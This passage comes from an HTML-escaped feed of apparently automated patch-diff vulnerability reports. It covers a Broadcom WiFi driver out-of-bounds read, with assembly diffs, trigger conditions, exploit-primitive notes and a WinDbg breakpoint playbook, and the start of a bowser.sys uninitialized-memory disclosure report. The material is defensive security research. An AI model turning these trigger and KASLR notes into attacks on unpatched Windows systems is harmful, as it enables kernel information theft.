&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x140013373&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;zero&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;buf size is 0&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;StatusIndication&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StatusBuffer&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;force&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;indicated&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;span class="nl"&gt;loc_140013373:&lt;/span&gt;
&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NdisMIndicateStatusEx_0&lt;/span&gt;
&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;again&lt;/span&gt;
&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x140013391&lt;/span&gt;
&lt;span class="k"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;print_indicate_status&lt;/span&gt;
&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x140013394&lt;/span&gt;
&lt;span class="nl"&gt;loc_140013391:&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;zero&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;
&lt;span class="nl"&gt;loc_140013394:&lt;/span&gt;
&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;print_indicate_status&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;wl_register_ie_upd&lt;/code&gt; Assembly Diff&lt;/h3&gt;
&lt;p&gt;In the unpatched binary the error-cleanup path calls the helper. In the patched binary that call is replaced by the helper's own logic inlined: read the pointer, free it if non-NULL, then zero the pointer and size. Both forms NULL the freed pointer.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;--- UNPATCHED (0x140039a94) ---&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x140039b2a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;sub_14003F534&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;helper&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mfree&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;--- PATCHED (0x14003b4ec) ---&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x14003b571&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;
&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;
&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip_free&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;osl_debug_mfree&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x269e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;..\\..\\wl\\sys\\wl_oidext.c&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;osl_debug_mfree&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;free&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;
&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x14003b59e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x14003b5a2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nl"&gt;skip_free&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;To exercise the &lt;code&gt;shared_indicate_status&lt;/code&gt; out-of-bounds read guard:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Obtain a Handle:&lt;/strong&gt; Bring up the Broadcom WiFi miniport adapter so the driver processes firmware events.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Induce a zero-length status indication:&lt;/strong&gt; Drive a WiFi connect/disconnect cycle or a Wi-Fi Direct (P2P) state transition whose status payload size is &lt;code&gt;0&lt;/code&gt; but whose buffer pointer argument (&lt;code&gt;a5&lt;/code&gt;) is non-NULL. The exact event depends on firmware and AP/peer behavior.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reach the sink:&lt;/strong&gt; In the unpatched driver, &lt;code&gt;shared_indicate_status&lt;/code&gt; stores the non-NULL &lt;code&gt;a5&lt;/code&gt; into &lt;code&gt;StatusIndication.StatusBuffer&lt;/code&gt; and forwards it to &lt;code&gt;print_indicate_status&lt;/code&gt; despite the zero size, so the downstream consumer may read a zero-length or stale buffer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable Effect:&lt;/strong&gt; Depending on what &lt;code&gt;print_indicate_status&lt;/code&gt; does with the pointer, this can leak adjacent kernel data into logs/telemetry or, under Driver Verifier Special Pool, surface as a pool read violation. The patched driver forces the pointer to NULL when the size is zero.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive Provided:&lt;/strong&gt; A conditional, firmware-event-driven out-of-bounds read / kernel information disclosure. It is not directly attacker-controlled from user mode; it depends on the driver producing a zero-length status indication with a non-NULL buffer pointer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reliability:&lt;/strong&gt; Low. Triggering requires a specific firmware event sequence and the amount of data exposed depends on &lt;code&gt;print_indicate_status&lt;/code&gt;'s handling of the buffer pointer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Escalation:&lt;/strong&gt; Limited. An information leak of this kind could, at best, contribute to defeating KASLR if it exposed kernel pointers, but there is no memory-corruption primitive here and no path to code execution from this finding alone.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigations &amp;amp; Bypasses:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;kASLR:&lt;/strong&gt; Any pointer leaked through the indicated buffer could help defeat KASLR, but the leak is opportunistic.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Driver Verifier:&lt;/strong&gt; Special Pool will flag an over-read against a zero-length allocation, aiding confirmation.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;For a researcher with a kernel debugger (KD/WinDbg) attached to the unpatched binary, use these steps to observe the zero-size status-indication path.&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp bcmdhd63_unpatched!shared_indicate_status &amp;quot;!.echo \&amp;quot;Entered shared_indicate_status\&amp;quot;; r rcx; r r9; r [rsp+28];&amp;quot;
bp bcmdhd63_unpatched!print_indicate_status  &amp;quot;!.echo \&amp;quot;Entered print_indicate_status\&amp;quot;; r rcx; r r9;&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;(Note: &lt;code&gt;r9d&lt;/code&gt; = &lt;code&gt;a6&lt;/code&gt; size at entry, &lt;code&gt;rsi&lt;/code&gt;/stacked arg = &lt;code&gt;a5&lt;/code&gt; buffer pointer, based on the observed prologue.)&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;What to Inspect at Each Breakpoint&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;shared_indicate_status&lt;/code&gt; entry:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Read &lt;code&gt;a6&lt;/code&gt; (size). Watch for the case where it is &lt;code&gt;0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Read &lt;code&gt;a5&lt;/code&gt; (buffer pointer). In the vulnerable path it is non-NULL while size is &lt;code&gt;0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;print_indicate_status&lt;/code&gt; entry:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Inspect the 4th argument (&lt;code&gt;r9&lt;/code&gt;). In the unpatched binary it equals &lt;code&gt;a5&lt;/code&gt; even when size was &lt;code&gt;0&lt;/code&gt;; in the patched binary it reads &lt;code&gt;0x0000000000000000&lt;/code&gt; when size was &lt;code&gt;0&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Key Offsets&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched sink:&lt;/strong&gt; &lt;code&gt;0x140012a2c&lt;/code&gt; region — &lt;code&gt;a5&lt;/code&gt; forwarded to &lt;code&gt;print_indicate_status&lt;/code&gt; without a size check.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched mitigation:&lt;/strong&gt; &lt;code&gt;0x14001336e&lt;/code&gt; (&lt;code&gt;and [StatusIndication.StatusBuffer], 0&lt;/code&gt;) and &lt;code&gt;0x14001338c&lt;/code&gt; (&lt;code&gt;xor r9d, r9d&lt;/code&gt;) — both absent in the unpatched build.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Trigger Setup&lt;/h3&gt;
&lt;p&gt;Drive the adapter through connect/disconnect or Wi-Fi Direct state changes and watch for a status indication whose &lt;code&gt;StatusBufferSize&lt;/code&gt; is &lt;code&gt;0&lt;/code&gt;. This is firmware-dependent and may require specific AP or P2P peer behavior.&lt;/p&gt;
&lt;h3&gt;Expected Observation&lt;/h3&gt;
&lt;p&gt;When &lt;code&gt;a6 == 0&lt;/code&gt;, the unpatched &lt;code&gt;print_indicate_status&lt;/code&gt; receives a non-NULL pointer to a zero-length buffer and may read past it. With Special Pool enabled this can surface as a pool read violation; otherwise it may leak adjacent kernel data into the status-print path. In the patched build the pointer is NULL and the read is avoided.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;shared_indicate_status&lt;/code&gt;&lt;/strong&gt; (Sim: 0.3287): &lt;strong&gt;SECURITY RELEVANT.&lt;/strong&gt; Added a check for &lt;code&gt;size == 0&lt;/code&gt; to prevent OOB reads / info disclosure by forcing the indicated buffer and the &lt;code&gt;print_indicate_status&lt;/code&gt; argument to NULL (CWE-125). The stack cookie is present in both builds and is not part of this change.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;wl_register_ie_upd&lt;/code&gt;&lt;/strong&gt; (Sim: 0.9325): Behavioral. Inlined the vendor-IE error-cleanup free that was previously performed by calling the helper &lt;code&gt;sub_14003f534&lt;/code&gt;/&lt;code&gt;sub_140040fc0&lt;/code&gt; with zero allocation arguments. Both forms free and NULL the pointer and zero the size; functionally equivalent, no memory-safety change.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;wl_pnp_set_power&lt;/code&gt;&lt;/strong&gt; (Sim: 0.7137): Behavioral. Refactored PnP power state transition logic and added device reset (&lt;code&gt;dhd_bus_is_ioready&lt;/code&gt;) state tracking.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;dhd_prot_ioctl&lt;/code&gt;&lt;/strong&gt; (Sim: 0.9633): Behavioral. Added a guard preventing IOCTL dispatch when bus type is &lt;code&gt;3&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;wl_cache_M1&lt;/code&gt;&lt;/strong&gt; (Sim: 0.6207): Behavioral. Feature addition; introduced EAPOL M1 frame caching with a 3000ms timer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;wl_oid_phy_build_attrs&lt;/code&gt;&lt;/strong&gt; (Sim: 0.9347): Behavioral. Feature addition; mapped channel 0xa to rate 7 for 802.11ax (Wi-Fi 6) support.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;wl_set_infra&lt;/code&gt;&lt;/strong&gt; (Sim: 0.9492): Behavioral. Logic update excluding channel 6 from an 802.11n mode check.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;wl_Rssi2LQ&lt;/code&gt;&lt;/strong&gt; (Sim: 0.8618): Behavioral. Added mapping thresholds for a new PHY type (&lt;code&gt;arg2 == 5&lt;/code&gt;) and added a stack cookie.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;wl_read_reg_param&lt;/code&gt;&lt;/strong&gt; (Sim: 0.2586): Behavioral. Major refactoring of registry parameter parsing loops into standalone structures.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;wl_iovar_op&lt;/code&gt;&lt;/strong&gt; (Sim: 0.9682): Cosmetic. Added &lt;code&gt;strcmp("dptx")&lt;/code&gt; bypass check and adjusted register variable allocations.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;(Note: The remaining ~104 changed functions outside this top-10 list are defined in the diff as purely cosmetic struct shifts and register renaming due to inserted logic altering stack frames).&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;There were &lt;strong&gt;0 unmatched functions&lt;/strong&gt; added or removed in this patch.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High. The &lt;code&gt;shared_indicate_status&lt;/code&gt; change is a clear defensive guard: the unpatched code forwards a non-NULL buffer pointer regardless of a zero size, and the patch forces NULL in that case, both in the decompilation and the disassembly. The &lt;code&gt;wl_register_ie_upd&lt;/code&gt; change is confirmed to be a functionally-equivalent inlining of an existing free-and-NULL helper; both builds NULL the freed pointer and zero the size, so no use-after-free is present.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assumptions:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;shared_indicate_status&lt;/code&gt; OOB read requires the driver to emit a status indication with size &lt;code&gt;0&lt;/code&gt; and a non-NULL buffer pointer; the exact firmware event sequence that produces this needs to be identified empirically.&lt;/li&gt;
&lt;li&gt;The severity of the leak depends on how &lt;code&gt;print_indicate_status&lt;/code&gt; consumes the buffer pointer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verification Required:&lt;/strong&gt; A researcher confirming the OOB read should instrument &lt;code&gt;shared_indicate_status&lt;/code&gt;/&lt;code&gt;print_indicate_status&lt;/code&gt; and capture a live zero-length status indication (e.g., via connect/disconnect or P2P event flows) to observe the pointer forwarded downstream.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>bowser.sys — Uninitialized paged-pool memory disclosure to user mode (CWE-908, CWE-200) in BowserAllocateName / AddBowserName / AsyncCreateTransportName fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/bowser_d18adee0-bowser-report-20260625-203554.html" rel="alternate"/><published>2026-06-25T00:00:00-07:00</published><updated>2026-06-25T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-25:/drift-corpus/item/bowser_d18adee0-bowser-report-20260625-203554.html</id><summary type="html">&lt;p&gt;KB5073723&lt;/p&gt;</summary><content type="html">&lt;h3&gt;1. Overview&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;bowser_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;bowser_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity:&lt;/strong&gt; 0.9923&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 279 matched functions, 276 identical, 3 changed, 0 unmatched in either direction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch fixes an uninitialized kernel pool memory disclosure by adding a &lt;code&gt;memset&lt;/code&gt; to zero each newly allocated &lt;code&gt;BROWSER_NAME&lt;/code&gt; structure in three functions. In the unpatched build a 4-byte alignment gap inside the name &lt;code&gt;UNICODE_STRING&lt;/code&gt; is left uninitialized and is later copied to a user-mode output buffer by the name-enumeration path, leaking paged-pool residue.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Vulnerability Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Uninitialized Memory / Kernel Information Disclosure (CWE-908, CWE-200)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Functions:&lt;/strong&gt; &lt;code&gt;BowserAllocateName&lt;/code&gt;, &lt;code&gt;AddBowserName&lt;/code&gt;, &lt;code&gt;AsyncCreateTransportName&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; The unpatched driver allocates pool memory for the &lt;code&gt;BROWSER_NAME&lt;/code&gt; structure via &lt;code&gt;ExAllocatePoolWithTag(PagedPool, NameLength + 0x42, 'LBbn')&lt;/code&gt; but does not zero the allocation before initializing selected fields (dword at &lt;code&gt;0x00&lt;/code&gt;, dword at &lt;code&gt;0x04&lt;/code&gt;, list linkage at &lt;code&gt;0x08&lt;/code&gt;/&lt;code&gt;0x10&lt;/code&gt;, list head at &lt;code&gt;0x18&lt;/code&gt;/&lt;code&gt;0x20&lt;/code&gt;, the name &lt;code&gt;UNICODE_STRING&lt;/code&gt; at &lt;code&gt;0x28&lt;/code&gt; — &lt;code&gt;Length&lt;/code&gt; at &lt;code&gt;0x28&lt;/code&gt;, &lt;code&gt;MaximumLength&lt;/code&gt; at &lt;code&gt;0x2a&lt;/code&gt;, &lt;code&gt;Buffer&lt;/code&gt; at &lt;code&gt;0x30&lt;/code&gt; — a dword at &lt;code&gt;0x38&lt;/code&gt;, and the inline name buffer at &lt;code&gt;0x40&lt;/code&gt;). Two gaps are never written: the 4-byte &lt;code&gt;UNICODE_STRING&lt;/code&gt; alignment padding at &lt;code&gt;0x2C-0x2F&lt;/code&gt; (between 